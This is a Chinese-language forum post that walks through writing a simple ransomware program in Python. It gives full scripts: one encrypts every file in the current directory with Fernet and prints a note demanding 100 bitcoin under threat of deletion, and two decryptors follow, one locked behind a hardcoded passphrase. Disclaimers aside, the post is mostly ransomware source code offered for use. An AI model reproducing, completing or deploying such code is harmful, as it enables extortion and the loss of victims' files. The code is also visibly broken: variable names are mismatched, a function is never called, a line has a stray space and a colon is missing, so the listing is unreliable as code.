方格社区-淘金信息差

 找回密码
 立即注册

[其他] 【视频】如何使用Python编写一个简单好玩的勒索程序?

[复制链接]
发表于 2022-6-7 11:23:59 | 显示全部楼层 |阅读模式

本文仅做技术交流,切勿乱用!!!
本文仅做技术交流,切勿乱用!!!
20220524035035375.png


原理分析
其实我们要写的脚本本质上就是一个加密程序,将文件内容通过Fernet算法进行加密,然后生成key,后面我们可以通过key在进行解密,这个过程是不是像极了勒索的场面……但是,我们要注意的是加密的过程,要做一下判断,不要把Python加密脚本、解密脚本、key也加密了,后面有详细的核心代码供大家参考。


核心代码
勒索核心代码voldmort.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key":
    continue
  if os.path.isfile(file):
    files.append(file)

key = Fernet.generate_key
with open ("thekey.key","wb") as thekey:
  thekey.write(key)

for file in files:
  with open (file,"rb") as thefile:
    contents = thefile.read()
  contents_encrypted = Fernet(key).encrypt(contents)
  with open (file,"wb") as thefile:
    the file.write(contents_encrypted)
print("您的文件已经被加密,请给猪猪侠支付100比特币解锁,否则文件将在24小时之内被删除")


勒索解密代码decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
    continue
  if os.path.isfile(file):
    files.append(file)

with open ("thekey.key","rb") as key:
  secretkey = key.read()

for file in files:
  with open (file,"rb") as thefile:
    contents = thefile.read()
  contents_decrypted = Fernet(secretkey).decrypt(contents)
  with open (file,"wb") as thefile:
    the file.write(contents_decrypted)


自定义密钥解锁decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
    continue
  if os.path.isfile(file):
    files.append(file)

with open ("thekey.key","rb") as key:
  secretkey = key.read()

secretphrase = "fancypig"
user_phrase = input("请输入指定密钥解锁加密文件:\n")

if user_phrase == secretphrase
  for file in files:
    with open (file,"rb") as thefile:
      contents = thefile.read()
    contents_decrypted = Fernet(secretkey).decrypt(contents)
    with open (file,"wb") as thefile:
      the file.write(contents_decrypted)
  print("恭喜您已经成功解锁文件")


使用方法
上面的脚本,譬如我们使用第一个,运行下面的命令:python voldmort.py

你会发现同一目录下的全部文本文件都被加密了,正如视频中,查看某个文件内容,
输入命令:cat file.txt

运行脚本前后,文本内容发生了变化,后者被加密了,看不到原有的This is a file的内容了。
20220524034825336.png


本文仅做技术交流,切勿乱用!!!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表